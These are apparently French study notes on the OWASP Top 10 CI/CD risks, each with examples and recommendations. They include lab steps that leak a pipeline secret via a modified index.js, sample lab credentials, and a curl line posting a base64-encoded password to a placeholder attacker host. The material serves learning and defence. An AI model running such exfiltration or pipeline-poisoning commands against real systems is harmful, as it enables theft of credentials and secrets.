Skip to content

Latest commit

 

History

History
249 lines (159 loc) · 10 KB

20.top-10-vuln-cicd.md

File metadata and controls

249 lines (159 loc) · 10 KB

OWASP Top 10 CI/CD Security Risks

Source : Owasp

CICD-SEC-1: Insufficient Flow Control Mechanisms

Les mécanismes de contrôle de flux insuffisants font référence à la capacité d'un attaquant ayant obtenu des autorisations sur un système au sein du processus CI/CD à pousser à lui seul du code malveillant ou des artefacts dans le pipeline, en raison d'un manque de mécanismes qui imposent une approbation ou un examen supplémentaire.


Exemple : L’exécution d’analyses de sécurité dans les pipelines CI est une pratique courante. Checkov, un outil d'analyse de code statique pour IaC, est un exemple connu d'un tel scanner.

Ici, l'attaquant veut obtenir les droits de lectures sur un disque dur en écrasant le fichier de configuration Checkov initial.

Attaque :

  1. Clone du repo
  2. Modification du fichier main.tf qui modifie les droits de lecture en publique
  3. Création du fichier checkov.yaml

Recommandations

  • Configurez les règles de protection des branches sur les branches hébergeant le code utilisé en production et dans d'autres systèmes sensibles
  • Limitez l’utilisation des règles d'auto-merge et assurez-vous que, partout où elles sont utilisées, elles sont applicables à un minimum de contextes

CICD-SEC-2: Inadequate Identity and Access Management

Les risques de gestion inadéquate des identités et des accès proviennent des difficultés liées à la gestion de la grande quantité d’identités réparties dans les différents systèmes de l’écosystème d’ingénierie, du contrôle des sources au déploiement. L’existence d’identités mal gérées – tant humaines que programmatiques – augmente le potentiel et l’ampleur des dommages causés par leur compromission.

  • Pas d'implémentaion du moindre privilège


Recommandations

  • Implémentation du moindre privilège

CICD-SEC-3: Dependency Chain Abuse

Fait référence à une pratique de sécurité liée à la gestion des dépendances dans le contexte des pipelines CI/CD. Cette pratique met l'accent sur la nécessité de surveiller et de sécuriser la chaîne de dépendances d'un projet pour éviter les abus potentiels. L'abus de la chaîne de dépendances entraîne la récupération et l'exécution par inadvertance d'un package malveillant localement lorsqu'il est extrait.

  • Injection de packages (par ex npm) malveillant dans le pipeline

Exemple sur http://40.113.34.255:3000/Wonderland/twiddledee

thealice:thealice

$ git clone http://40.113.34.255:3000/Wonderland/twiddledee
$ cd twiddledee
$ nano index.js

ajout de la ligne

console.log(Buffer.from(process.env.FLAG6).toString("base64"))
git tag 1.2.0 HEAD
git push origin 1.2.0

Allons jenkins alice:alice http://40.113.34.255:8080/job/wonderland-twiddle/job/wonderland-twiddledum/lastSuccessfulBuild/console


Recommandations

Implementations de scan de dépendance

security_scan:
  stage: security_scan
  script:
    - npm audit --audit-level=high
  only:
    - master

CICD-SEC-4: Poisoned Pipeline Execution (PPE)

Un attaquant crée une nouvelle branche distante dans le référentiel, dans laquelle il met à jour le fichier de configuration du pipeline avec des commandes malveillantes destinées à accéder aux informations d'identification ou execution de code.

Exemple sur gitlab

Même sans avoir accès au retour des ci/cd, on peut envoyer les informations sur serveur distant.

curl -d creds="$(echo $PASSWORD | base64) http://monadresse.op

Recommandations

  • Assurez-vous que les pipelines exécutant du code non révisé sont exécutés sur des nœuds isolés, non exposés à des secrets et à des environnements sensibles.

CICD-SEC-5: Insufficient PBAC (Pipeline-Based Access Controls)

Abus de l'autorisation accordée au pipeline pour se déplacer latéralement à l'intérieur ou à l'extérieur du système CI/CD.

Exmple : Codecov, un outil de couverture de code populaire utilisé dans le CI, a été compromis et utilisé pour voler des variables d'environnement dans les builds.


Recommandations

  • Assurez-vous que les secrets utilisés dans les systèmes CI/CD sont définis de manière à permettre à chaque pipeline et étape d'avoir accès uniquement aux secrets dont ils ont besoin.

CICD-SEC-6 Hygiène insuffisante des informations d'identification

Les secrets sont souvent transmis involontairement au SCM. Cela les rend accessibles à tout utilisateur disposant d'une autorisation de lecture sur le référentiel.

Une erreur courante lorsque l'on tente d'atténuer le problème consiste à supprimer le secret de la branche dans laquelle il a été validé, alors que le secret reste exposé dans les validations précédentes, qui sont toujours accessibles à toute personne ayant accès au répo.


Exemple :

Samsung a exposé des secrets trop permissifs dans les référentiels publics GitLab.


Exemple :

$ git clone http://40.113.34.255:3000/Wonderland/duchess.git
$ cd duchess
$ gitleaks detect -v

Recommandations

  • Si leak il y a chnager le token/secret
  • Mettre en place secret_dtection

CICD-SEC-7 : Configuration du système non sécurisée

Les risques de configuration non sécurisée du système proviennent de failles dans les paramètres de sécurité, la configuration et le renforcement des différents systèmes à travers le pipeline (par exemple, SCM, CI, référentiel d'artefacts), ce qui entraîne souvent des « fruits à portée de main » pour les attaquants cherchant à étendre leur présence dans l'environnement.


Exemple :

  • Porte dérobée implantée dans le référentiel PHP git. Les attaquants ont poussé le code malveillant non révisé directement vers la branche principale de PHP, ce qui a finalement abouti à la diffusion d'une version formelle de PHP à tous les utilisateurs de PHP. L’attaque provient probablement d’une compromission du serveur git auto-maintenu de PHP. https://news-web.php.net/php.internals/113981




Recommandations

  • Assurez-vous que l’accès réseau aux systèmes est conforme au principe du moindre accès.
  • Branche protégée

CICD-SEC-8 : Utilisation non gouvernée de services tiers

Comprommissions de service tiers pour viser une cible


Exemple :

  • Les attaquants compromettent le compte utilisateur GitHub d'un ingénieur DeepSource (une plateforme d'analyse statique). À l'aide du compte compromis, ils obtiennent les autorisations de l'application DeepSource GitHub, leur accordant un accès complet à la base de code de tous les clients DeepSource qui ont installé l'application GitHub compromise.

https://discuss.deepsource.io/t/security-incident-on-deepsource-s-github-application/131


  • Les attaquants accèdent à la base de données de Waydev, une plateforme d'analyse Git, volant les jetons GitHub et GitLab OAuth de leurs clients.

https://changelog.waydev.co/github-and-gitlab-oauth-security-update-dw98s


Recommandations

  • Minimiser l'utilisations de services tiers
  • Examinez périodiquement tous les tiers intégrés et supprimez ceux qui ne sont plus utilisés.

CICD-SEC-9 : Validation incorrecte de l'intégrité des artefacts

Les risques de validation inappropriée de l’intégrité des artefacts permettent à un attaquant ayant accès à l’un des systèmes du processus CI/CD de pousser du code ou des artefacts malveillants µ(bien qu’apparemment inoffensifs) dans le pipeline, en raison de mécanismes insuffisants pour garantir la validation du code et des artefacts.


Exemple :

  • Les attaquants compromettent le serveur de build Webmin et ajoutent une porte dérobée à l'un des scripts de l'application. La porte dérobée a continué à persister même après la mise hors service du serveur de build compromis, car le code avait été restauré à partir d'une sauvegarde locale, plutôt que du système de contrôle de source. Les utilisateurs de Webmin ont été sensibles au RCE via une attaque de la chaîne d'approvisionnement pendant plus de 15 mois, jusqu'à ce que la porte dérobée soit supprimée.

https://www.webmin.com/exploit.html


Recommandations

Logiciel de vérification d'artefacts : l'utilisation d'outils de signature et de vérification du code et des artefacts permet d'empêcher la livraison de logiciels non vérifiés dans le pipeline. Des exemples de tels projets sont in-toto , SLSA et Sigstore , tous faisant partie de la Linux Foundation.


CICD-SEC-10: Insufficient Logging and Visibility

Logs insuffisants permettent à un adversaire de mener des activités malveillantes au sein de l'environnement CI/CD sans être détecté pendant aucune phase de la chaîne de destruction de l'attaque, y compris l'identification des TTP (techniques, tactiques et procédures) de l'attaquant dans le cadre de tout post-incident.


Recommandations

Implémenter un monitoring qui veille à detecter toutes les attaques sur les applications web. ex CrowdStrike